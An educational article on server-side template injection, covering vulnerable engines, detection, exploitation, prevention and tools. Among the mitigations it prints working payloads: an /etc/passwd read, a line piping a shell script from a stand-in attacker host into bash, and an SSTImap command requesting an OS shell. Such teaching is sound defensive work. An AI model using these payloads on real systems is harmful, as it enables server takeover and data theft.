Server-Side Template Injection (SSTI)

Server-Side Template Injection (SSTI) is a critical web application vulnerability that occurs when attackers inject malicious template directives into a server-side template engine. Unlike traditional injection attacks, SSTI exploits the template engine's native syntax, allowing adversaries to execute arbitrary code on the server and potentially take full control of the application.

Key Points

• Critical Risk: SSTI can lead to remote code execution (RCE), data breaches, and complete server compromise if left unaddressed.
• Injection Process: Attackers embed malicious input into templates, which the engine processes as code.
• Vulnerable Engines: Common template engines like Jinja2, Twig, Pug, Smarty, and ERB are susceptible.

How SSTI Works

The Injection Process

1. User Input Integration: Applications dynamically embed user-supplied data into templates (e.g., Hello, {{username}}).
2. Improper Sanitization: The application fails to neutralize template syntax in user input.
3. Template Engine Execution: The engine processes the malicious input as template code, executing attacker-controlled logic.

Example Attack Flow

User Input: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Application Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Key Characteristics

Vulnerable Template Engines

Engine	Language	Common Attack Vectors
Jinja2	Python	{{7*7}}, {{config}}
Twig	PHP	{{_self.env.registerUndefinedFilterCallback()}}
Pug	Node.js	#{7*7}, !{process.env}
Smarty	PHP	{php}echo system('id');{/php}
ERB	Ruby	<%= 7*7 %>, <% system('id') %>

Detection Indicators

• Mathematical Operations: {{7*7}} → 49 (Jinja2)
• Environment Leaks: {{config}} → Displays application configuration
• Error-Based: {{invalid.syntax}} → Template engine error messages

Exploitation Techniques

Basic Payloads

# Jinja2 - Math execution
{{7*7}}

# Twig - PHP info leak
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Advanced Exploitation

1. Information Gathering:

   {{request.application.__globals__.__builtins__.open("/etc/passwd").read()}}
   

2. Remote Code Execution:

   {{config.__class__.__init__.__globals__['os'].popen('curl http://attacker.com/shell.sh | bash').read()}}
   

Prevention and Mitigation

Secure Coding Practices

• Input Validation: Whitelist allowed characters for template variables
• Context-Aware Escaping: Use template engine's auto-escaping features

  # Jinja2 - Auto-escaping enabled
  app.jinja_env.autoescape = True
  

• Sandboxing: Restrict template engine capabilities

  # Jinja2 - Sandboxed environment
  from jinja2.sandbox import SandboxedEnvironment
  env = SandboxedEnvironment()
  

Defense-in-Depth Measures

1. Template Engine Hardening:

   • Disable dangerous functions (eval, exec, system)
   • Use read-only template contexts

2. Runtime Protections:

   • Implement Content Security Policy (CSP)
   • Deploy Web Application Firewalls (WAFs) with SSTI rules

3. Architectural Controls:

   • Separate template rendering from user input
   • Use template compilation instead of dynamic evaluation

Detection and Testing

Manual Testing Methodology

1. Identify Template Syntax:
   • Test with {{7*7}}, ${7*7}, #{7*7} based on engine
2. Error Analysis:
   • Observe template engine error messages
3. Blind SSTI Testing:
   • Use time-based payloads for out-of-band detection

   {{config.__class__.__init__.__globals__['__builtins__']['__import__']('time').sleep(10)}}
   

Automated Tools

• SSTImap: Comprehensive SSTI exploitation framework

  python3 sstimap.py -u "https://example.com/?name=test" --os-shell
  

• Tplmap: Template injection scanner
• Burp Suite: Active scanner with SSTI detection rules

Real-World Impact

Case Studies

1. Uber (2016):

   • SSTI in internal tools led to RCE and data exposure
   • Attackers accessed sensitive customer information

2. Shopify (2018):

   • Template injection in Liquid engine
   • Allowed arbitrary file reads and potential RCE

3. GitLab (2020):

   • SSTI in project import functionality
   • Enabled complete server takeover

Business Consequences

• Data Breaches: Exposure of customer PII and payment data
• Reputation Damage: Loss of customer trust and brand value
• Regulatory Fines: GDPR, CCPA, and other compliance violations
• Operational Disruption: Server downtime and recovery costs

Key Takeaways

Golden Rule: Never trust user input in template contexts - always sanitize and validate.

• Critical Vulnerability: SSTI enables server-side code execution with potentially devastating consequences
• Engine-Specific Risks: Each template engine has unique syntax and exploitation methods
• Defense Layers: Combine input validation, output encoding, and runtime protections
• Continuous Testing: Regularly scan applications with automated tools and manual testing
• Developer Education: Train teams on secure template usage and engine-specific risks

Learn More

Essential Resources

• OWASP Testing Guide: Server-Side Template Injection
• PortSwigger Research: SSTI Exploitation Techniques
• Template Engine Documentation:
  • Jinja2 Security
  • Twig Security

Tools and Frameworks

• SSTImap: GitHub Repository
• Tplmap: GitHub Repository
• PayloadsAllTheThings: SSTI Payloads

Advanced Topics

• Blind SSTI Exploitation: Techniques for non-error-based detection
• SSTI in Modern Frameworks: Angular, React Server-Side Rendering risks
• Container Escape: Using SSTI to break out of Docker containers